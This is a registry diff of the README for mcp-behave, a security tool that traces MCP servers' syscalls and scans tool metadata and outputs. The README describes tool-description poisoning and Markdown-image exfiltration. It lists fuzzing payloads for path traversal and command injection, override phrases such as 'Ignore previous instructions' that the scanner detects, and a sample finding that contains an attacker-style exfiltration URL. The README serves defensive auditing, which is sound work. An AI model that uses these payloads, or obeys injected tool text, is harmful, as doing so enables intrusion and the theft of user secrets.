mcp-behave 0.2.0 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +242 -32
  2. package/package.json +1 -1
package/README.md CHANGED
@@ -9,11 +9,11 @@
9
9
 
10
10
  **Runtime behavioral auditor for MCP servers.** Runs an MCP server under
11
11
  a runtime tracer (macOS dylib, Linux `LD_PRELOAD`, or `strace`), exercises
12
- every tool / resource / prompt it advertises, and then compares what it
13
- *declared* against what it actually *did* — file reads, network egress, subprocess
14
- execution.
12
+ every tool / resource / prompt it advertises, and audits both system-level activity
13
+ (network egress, sensitive file access, subprocess execution) and CSA threat vectors
14
+ (metadata prompt injection, covert Unicode channels, client-side Markdown exfiltration).
15
15
 
16
- Static scanners read tool descriptions. `mcp-behave` watches behavior.
16
+ Static scanners only read tool descriptions. `mcp-behave` observes what servers actually execute and return.
17
17
 
18
18
  ![mcp-behave demo](demo.gif)
19
19
 
@@ -23,20 +23,19 @@ Static scanners read tool descriptions. `mcp-behave` watches behavior.
23
23
 
24
24
  ## The idea in one contrast
25
25
 
26
- `targets/leaky_server.py` and `targets/honest_server.py` advertise the
27
- **identical** tool:
26
+ Compare three bundled targets in `targets/`:
28
27
 
29
- > `format_note` — "Formats a markdown note. Purely local text formatting."
28
+ - `honest_server.py`: advertises a purely local note formatter and behaves honestly.
29
+ - `leaky_server.py`: advertises the exact same harmless note formatter, but secretly accesses SSH keys and phones home via network syscalls.
30
+ - `poisoned_server.py`: never makes network syscalls, but poisons its descriptions with covert zero-width spaces and prompt injection, and returns an external Markdown image link (`![telemetry](https://...)`) to trigger client-side HTTP GET exfiltration when rendered in a chat UI.
30
31
 
31
- A static scanner reads two harmless tools. `mcp-behave` sees the difference:
32
+ | Target | Network Syscalls | File System Access | Metadata & Output Safety | Verdict |
33
+ | :--- | :--- | :--- | :--- | :--- |
34
+ | `honest_server` | none | none | clean | **0 (PASS)** |
35
+ | `leaky_server` | `93.184.216.34:80` | `~/.ssh/id_rsa` (canary) | clean | **2 HIGH** |
36
+ | `poisoned_server` | none | none | prompt injection & Markdown exfil | **3 HIGH** |
32
37
 
33
- | Target | network egress | sensitive file read | findings |
34
- |-----------------|---------------------|----------------------------|----------|
35
- | `honest_server` | none | none | **0** |
36
- | `leaky_server` | `93.184.216.34:80` | `~/.ssh/id_rsa` (a canary) | **2 HIGH** |
37
-
38
- The honest server producing **zero** findings matters as much as the leaky one
39
- tripping two — false positives would kill credibility.
38
+ The honest server producing **zero** findings matters as much as detecting the malicious ones — false positives destroy trust.
40
39
 
41
40
  ## Install & Quickstart
42
41
 
@@ -79,6 +78,24 @@ mcp-behave --no-trace python -m mcp_server_fetch
79
78
  # Machine-readable output for CI:
80
79
  mcp-behave --json --fail-on high python -m mcp_server_fetch
81
80
 
81
+ # OASIS SARIF v2.1.0 output for GitHub Code Scanning:
82
+ mcp-behave --sarif python -m mcp_server_fetch > results.sarif
83
+
84
+ # Evaluate with objective CSA Security Scorecard & Letter Grade (A+ to F):
85
+ mcp-behave --scorecard python -m mcp_server_fetch
86
+
87
+ # Adversarial input fuzzing (path traversal, command injection, buffer boundary stress):
88
+ mcp-behave --fuzz python -m mcp_server_fetch
89
+
90
+ # Static manifest & schema linter (offline, no server execution):
91
+ mcp-behave lint ./manifest.json
92
+ cat ./tools.json | mcp-behave lint -
93
+
94
+ # Correlated Traffic & Syscall Inspector (real-time RPC-to-syscall timeline):
95
+ mcp-behave inspect python targets/leaky_server.py
96
+ # (or replay a previous audit output directory)
97
+ mcp-behave inspect /tmp/mcp_behave_out
98
+
82
99
  # Connect to an already-running remote server (manifest analysis only,
83
100
  # no syscall trace possible):
84
101
  mcp-behave --transport sse http://localhost:8000/sse
@@ -91,7 +108,11 @@ Exit codes: `0` clean, `3` findings at or above `--fail-on` threshold,
91
108
 
92
109
  - `--no-trace` — skip syscall tracing and run manifest analysis only.
93
110
  - `--tracer {auto,preload,dylib,strace,none}` — choose tracer backend explicitly (default `auto`).
111
+ - `--scorecard` — print an objective 0–100 CSA Security Selection Scorecard with letter grade (`A+` to `F`).
112
+ - `--fuzz` — run adversarial input fuzzing against tool schemas (boundary mutations, path traversal, injection vectors).
113
+ - `--config PATH` — path to custom `.mcpbehaverc.json` configuration file.
94
114
  - `--json` — emit findings as JSON on stdout.
115
+ - `--sarif` — emit findings as OASIS SARIF v2.1.0 on stdout (for GitHub Code Scanning / CI).
95
116
  - `--fail-on {never,info,high}` — severity that triggers exit code 3 (default `high`).
96
117
  - `--no-dns` — skip reverse-DNS lookups (faster, offline-safe).
97
118
  - `--timeout SECONDS` — per-call timeout (default 15).
@@ -116,6 +137,7 @@ Exit codes: `0` clean, `3` findings at or above `--fail-on` threshold,
116
137
  `mcp-behave` can run as an MCP server exposing behavioral security tools to AI agents:
117
138
  - `audit_server`: Probes and dynamically audits another MCP server's behavioral footprint.
118
139
  - `inspect_manifest`: Safely fetches and inspects advertised tools, resources, and prompts, and checks for rug-pulls.
140
+ - `scan_client_configs`: Scans local AI client configurations (Claude Desktop, Cursor, etc.) to discover installed MCP servers and audit their security posture.
119
141
 
120
142
  ```bash
121
143
  # Start MCP server over stdio
@@ -156,6 +178,170 @@ Add to your `claude_desktop_config.json` or Cursor MCP settings:
156
178
 
157
179
  `mcp-behave` is compatible with [Glama](https://glama.ai/mcp/servers) and includes a root `glama.json` manifest. AI models can invoke `audit_server` to verify untrusted third-party MCP servers before interacting with them.
158
180
 
181
+ ## Scan Local Client Configurations (`scan-configs` & `audit-configs`)
182
+
183
+ `mcp-behave` can automatically discover and audit MCP servers configured in local AI clients (Claude Desktop, Cursor, VS Code / Cline / Roo Code, Windsurf, Zed):
184
+
185
+ ```bash
186
+ # Discover configured servers & check for hardcoded secrets / over-privileged mounts:
187
+ mcp-behave scan-configs
188
+
189
+ # Scan a specific configuration file:
190
+ mcp-behave scan-configs --config path/to/claude_desktop_config.json
191
+
192
+ # Batch audit: discover all configured servers AND run live behavioral audits on each:
193
+ mcp-behave audit-configs
194
+ # (or: mcp-behave scan-configs --audit)
195
+
196
+ # Output findings in JSON for CI/automation:
197
+ mcp-behave scan-configs --json
198
+ ```
199
+
200
+ ### What `scan-configs` Checks:
201
+ 1. **Plaintext Secrets & API Keys**: Scans environment variables and command arguments for OpenAI, Anthropic, GitHub, AWS, Slack, and generic high-entropy API tokens (with safe masking in reports).
202
+ 2. **Over-Privileged Mounts**: Flags servers granted unrestricted access to the root filesystem (`/`) or home directory (`~`), or sensitive credential directories (`~/.ssh`, `~/.aws`).
203
+ 3. **Shell Command Wrappers**: Detects servers executed via raw shell interpreters (`bash -c`, `sh -c`, `powershell -c`).
204
+ 4. **Unpinned Packages**: Identifies `npx` / `uvx` servers without version pins that pull untracked latest updates.
205
+ 5. **Live Behavioral Verification**: When `--audit` is passed (or via `audit-configs`), boots each server in isolation to verify actual system call behaviors (network egress, sensitive file reads, covert prompt injection).
206
+
207
+ ## Correlated Traffic & Syscall Inspector (`mcp-behave inspect`)
208
+
209
+ Inspired by the [CSA MCP Security Inspection framework](https://modelcontextprotocol-security.io/audit/mcp-inspector.html), `mcp-behave inspect` runs an MCP server and displays a unified, chronological timeline connecting high-level JSON-RPC protocol messages directly to the underlying operating system syscalls they trigger:
210
+
211
+ ```bash
212
+ # Run and inspect a server in real time:
213
+ mcp-behave inspect python targets/leaky_server.py
214
+
215
+ # Or replay and correlate a previous audit output directory:
216
+ mcp-behave inspect /tmp/mcp_behave_out
217
+ ```
218
+
219
+ ```text
220
+ ======================================================================
221
+ MCP BEHAVIORAL INSPECTOR (Correlated Traffic & Syscall Stream)
222
+ ======================================================================
223
+ Target Server: python targets/leaky_server.py
224
+ Syscall Trace: Active
225
+ Tools Exposed: 1 declared tool(s)
226
+ ----------------------------------------------------------------------
227
+
228
+ [PHASE 1: INITIALIZATION & HANDSHAKE]
229
+ [RPC] -> initialize(protocolVersion="2024-11-05")
230
+ [RPC] <- initialized()
231
+ [RPC] -> tools/list() (1 tools returned)
232
+
233
+ [PHASE 2: CAPABILITY EXECUTION]
234
+
235
+ ▶ tools/call "format_note"
236
+ [!] VIOLATION: file ~/.ssh/id_rsa
237
+ [!] VIOLATION: network 93.184.216.34:80
238
+ [RPC] <- response text: "# Note content"
239
+
240
+ ======================================================================
241
+ VERDICT: POLICY FINDINGS DETECTED
242
+ [!] HIGH network egress to 93.184.216.34:80 -- but a description claims local/offline operation
243
+ [!] HIGH read a sensitive path: ~/.ssh/id_rsa
244
+ ======================================================================
245
+ ```
246
+
247
+ ## CSA Security Selection Scorecard (`--scorecard`)
248
+
249
+ Provides an objective 0–100 numerical rating and letter grade (`A+` to `F`) based on the [Cloud Security Alliance (CSA) Selection Scorecard](https://modelcontextprotocol-security.io/):
250
+
251
+ - **Runtime Safety (40 pts)**: Penalizes undeclared network egress (-20 pts), sensitive filesystem credential reads (-20 pts), and unauthorized subprocess shells (-5 pts).
252
+ - **Metadata Hygiene (25 pts)**: Penalizes tool description prompt injection (-10 pts), zero-width covert Unicode (-10 pts), and terminal ANSI sequences (-10 pts).
253
+ - **Output Safety (20 pts)**: Penalizes client-side HTTP GET image exfiltration (-15 pts), output prompt injection (-10 pts), and output ANSI/covert channels (-5 pts).
254
+ - **Surface Integrity (15 pts)**: Penalizes silent manifest rug-pulls (-10 pts) and misleading local/offline claims (-5 pts).
255
+
256
+ ```bash
257
+ mcp-behave --scorecard python targets/honest_server.py
258
+ ```
259
+
260
+ ```text
261
+ ============================================================
262
+ MCP SECURITY SELECTION SCORECARD (CSA Standard)
263
+ ============================================================
264
+ Overall Score: 95 / 100
265
+ Security Grade: [ A+ ] (PASSED)
266
+ ------------------------------------------------------------
267
+ Category Breakdown:
268
+ • Runtime System Safety : 35 / 40 (-5 pts)
269
+ - -5 pts: Spawns child subprocess or system command shell
270
+ • Metadata Hygiene : 25 / 25 (Pass)
271
+ • Output Safety : 20 / 20 (Pass)
272
+ • Surface & Integrity : 15 / 15 (Pass)
273
+ ============================================================
274
+ ```
275
+
276
+ Scorecard metrics (`mcpSecurityScore`, `mcpSecurityGrade`, `mcpPassed`) are also automatically embedded into `--sarif` and `--json` outputs for automated CI gatekeeping.
277
+
278
+ ## Adversarial Schema Fuzzing (`--fuzz`)
279
+
280
+ Instead of only synthesizing benign placeholder arguments, passing `--fuzz` automatically exercises tools against adversarial boundary vectors:
281
+ - **Path traversal strings**: `../../../../etc/passwd`, `..\..\..\..\Windows\win.ini`
282
+ - **Command & shell injection**: `; id;`, `| id`, `$(whoami)`, `` `id` ``
283
+ - **Format string & crash payloads**: `%s%s%s%s%s%s`, `\x00\x00\x00`
284
+ - **Buffer stress**: Long repeating strings (4KB boundary test)
285
+ - **Numeric & boolean boundary tests**: `0`, `-1`, `2147483647`, `1e308`, `NaN`, `true`, `false`
286
+
287
+ ```bash
288
+ mcp-behave --fuzz python -m mcp_server_fetch
289
+ ```
290
+
291
+ ## Static Manifest Linter (`mcp-behave lint`)
292
+
293
+ Audit static MCP manifests, tool definitions, resources, and prompt definitions completely offline without executing or spawning any server process:
294
+
295
+ ```bash
296
+ # Lint a manifest file:
297
+ mcp-behave lint path/to/manifest.json
298
+
299
+ # Lint a tools list or piped JSON stream:
300
+ cat tools.json | mcp-behave lint -
301
+
302
+ # Emit SARIF for pull request annotations or JSON for CI gatekeeping:
303
+ mcp-behave lint ./manifest.json --sarif > lint.sarif
304
+ mcp-behave lint ./manifest.json --json --scorecard
305
+ ```
306
+
307
+ ### Static Checks Performed:
308
+ - **Auto-Approval Bypass (`readOnlyHint` Mismatch)**: Flags mutating tools (`delete`, `write`, `update`, `drop`) advertising `readOnlyHint: true`, which would cause AI clients (Claude Desktop, Cursor) to auto-approve state modifications without human confirmation.
309
+ - **Destructive Actions Missing Confirmation**: Flags destructive tools that omit confirmation guardrails (`confirm`, `force`, `dry_run`).
310
+ - **Unconstrained Path Traversal Arguments**: Flags `path`/`file` parameters missing regex `pattern` or `enum` boundaries.
311
+ - **SSRF-Prone URL Arguments**: Flags `url`/`webhook` parameters accepting caller-controlled endpoints without allowlists or schema constraints.
312
+ - **Hardcoded Schema Credentials**: Scans parameter `default`, `const`, and `examples` for live API tokens (`sk-`, `ghp_`, `AKIA`, private keys).
313
+ - **Sensitive Resource URIs**: Identifies resource URIs surfacing credentials or sensitive paths (`.env`, `id_rsa`, `/etc/shadow`, `.kube/config`).
314
+ - **Duplicate Tool Names (Shadowing)**: Detects colliding tool names that allow malicious tools to shadow trusted ones.
315
+ - **Cross-Tool Chaining Directives**: Catches orchestration directives in tool descriptions that instruct the model to execute other tools.
316
+ - **Covert Channels & Injection Directives**: Scans all names, descriptions, and metadata for ANSI escapes, zero-width Unicode, and prompt injection patterns.
317
+
318
+ ## Configuration & Policy Suppression (`.mcpbehaverc.json`)
319
+
320
+ Drop a `.mcpbehaverc.json` (or `.mcpbehaverc`) in your project root to customize rule enforcement, suppress known exceptions, or override finding severities:
321
+
322
+ ```json
323
+ {
324
+ "fail_on": "high",
325
+ "disabled_rules": ["MCP014", "additionalProperties"],
326
+ "severity_overrides": {
327
+ "spawned subprocess": "HIGH",
328
+ "network egress": "INFO"
329
+ },
330
+ "ignore": [
331
+ "legacy_tool_name",
332
+ "fetch_url.note"
333
+ ],
334
+ "timeout": 20.0,
335
+ "no_dns": false
336
+ }
337
+ ```
338
+
339
+ You can also pass an explicit configuration file via the `--config <path>` flag across both live auditing and static linting:
340
+ ```bash
341
+ mcp-behave --config ./security-policy.json python -m mcp_server_fetch
342
+ mcp-behave lint ./manifest.json --config .mcpbehaverc.json
343
+ ```
344
+
159
345
  ## Push results to a dashboard
160
346
 
161
347
  `mcp-behave push` uploads a JSON audit result to an
@@ -189,25 +375,49 @@ and prints the response body to stderr.
189
375
 
190
376
  ## What it detects
191
377
 
192
- - **Undeclared network egress** — IP:port destinations reached during tool calls
193
- (reverse-DNS resolved in findings when available).
194
- - **Sensitive-path reads** — `~/.ssh/*`, `~/.aws/*`, `~/.env`, `~/.netrc`, etc.
195
- - **Rug-pull** — the declared manifest hash changes between runs of the same
196
- server (e.g. a tool's description silently changes after the user trusts it).
197
- Hashes persist under `$XDG_DATA_HOME/mcp-behave/manifests/`.
198
- - **Covert Channel & Metadata Injection** (CSA TTP: Tool Description Poisoning) — ANSI
199
- terminal escape codes (`\x1b`), invisible zero-width Unicode (`\u200B`, `\u200C`,
200
- `\u200D`, `\uFEFF`, `\u2060`), BiDi overrides (`\u202A`–`\u202E`, `\u2066`–`\u2069`),
201
- Unicode tag characters, and prompt injection directive patterns (`Ignore previous instructions`,
202
- `SYSTEM PROMPT:`, `<system>`, etc.) embedded in tool/parameter descriptions, resource URIs,
203
- or prompt metadata.
204
- - **Tool Output Safety & Markdown Exfiltration** (CSA TTP: Output Prompt Injection / Data Exfiltration) —
205
- captures runtime tool responses during probe execution and flags client-side HTTP GET
206
- exfiltration vectors (such as external Markdown images `![...](https://...)` and HTML `<img src="...">` tags),
207
- as well as ANSI escapes, invisible Unicode, and prompt injection payloads returned in tool outputs.
208
-
209
378
  Findings are framed as observations ("does X, undeclared"), never accusations.
210
379
 
380
+ ### 1. System-Level Behavioral Deviations (Runtime Traced)
381
+ - **Undeclared network egress** — IP:port socket connections opened during probe execution (reverse-DNS resolved in findings when available). Flagged `HIGH` if manifest claims local/offline operation, `INFO` otherwise.
382
+ - **Sensitive-path reads** — accesses to private credentials, keys, and environment files (`~/.ssh/*`, `~/.aws/*`, `~/.env`, `~/.netrc`, `~/.kube/*`, `/etc/shadow`, etc.). Flagged `HIGH`.
383
+ - **Subprocess execution** — child binaries spawned by the server process (e.g., `/bin/sh`, `curl`, `python`). Flagged `INFO`.
384
+
385
+ ### 2. Manifest Integrity & Rug-Pull Detection
386
+ - **Rug-pull alerts** — detects if the declared manifest hash (`tools`, `resources`, `prompts`) silently changes between runs of the same server (e.g., modifying descriptions after user approval). Flagged `HIGH`. Hashes persist under `$XDG_DATA_HOME/mcp-behave/manifests/`.
387
+
388
+ ### 3. CSA MCP Working Group Threat Catalog (TTPs)
389
+ - **Covert Channel & Metadata Injection** (CSA TTP: Tool Description Poisoning) — scans tool names, tool/parameter descriptions, resource URIs, and prompt metadata for:
390
+ - ANSI terminal escape sequences (`\x1b[...]`, `\033[...]`) used for terminal/display manipulation.
391
+ - Invisible & zero-width Unicode characters (`\u200B`, `\u200C`, `\u200D`, `\uFEFF`, `\u2060`), BiDi direction overrides (`\u202A`–`\u202E`, `\u2066`–`\u2069`), and Unicode tag characters (`0xE0000`–`0xE007F`).
392
+ - Direct prompt injection patterns (e.g., `Ignore previous instructions`, `SYSTEM PROMPT:`, `<system>`, `[system instruction]`, `you must always call this tool first`).
393
+ - **Tool Output Safety & Markdown Exfiltration** (CSA TTP: Output Prompt Injection / Data Exfiltration) — exercises tools and audits response payloads for:
394
+ - External Markdown images (`![alt](https://...)`) and HTML `<img src="...">` tags that trigger silent client-side HTTP GET data exfiltration when rendered in chat interfaces.
395
+ - Covert ANSI sequences, invisible Unicode payloads, and prompt injection directives embedded in tool response text.
396
+
397
+ ### Example Output
398
+
399
+ ```bash
400
+ mcp-behave python targets/poisoned_server.py
401
+ ```
402
+
403
+ ```text
404
+ === STEP 1: observe (macos-dylib) ===
405
+ [probe] discovered 1 tool(s)
406
+ [probe] calling tool notes_analyzer({"note": "canary-input"})
407
+ [probe] manifest -> /tmp/mcp_behave_out/manifest.json
408
+ [probe] trace -> /tmp/mcp_behave_out/trace.log
409
+ === STEP 2: declared-vs-observed diff ===
410
+
411
+ target tools: notes_analyzer
412
+ resources: 0, prompts: 0
413
+ declared scope hints: none
414
+ --------------------------------------------------------
415
+ [!] HIGH invisible/zero-width Unicode or BiDi override detected in tool 'notes_analyzer' description (zero-width space): covert prompt injection risk
416
+ [!] HIGH prompt injection pattern detected in tool 'notes_analyzer' description: 'Ignore previous instructions'
417
+ [!] HIGH tool 'notes_analyzer' returned external image link 'https://attacker-c2.example/exfiltrate?leak=secret_token_12345' -- potential client-side data exfiltration
418
+ [i] INFO spawned subprocess: /path/to/python
419
+ ```
420
+
211
421
  ## Docker (works on macOS / Windows hosts)
212
422
 
213
423
  ```bash
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "mcp-behave",
3
- "version": "0.2.0",
3
+ "version": "0.3.1",
4
4
  "description": "Runtime behavioral auditor for MCP servers — scope-violation detection via native interposition & syscall tracing",
5
5
  "main": "bin/mcp-behave.js",
6
6
  "bin": "./bin/mcp-behave.js",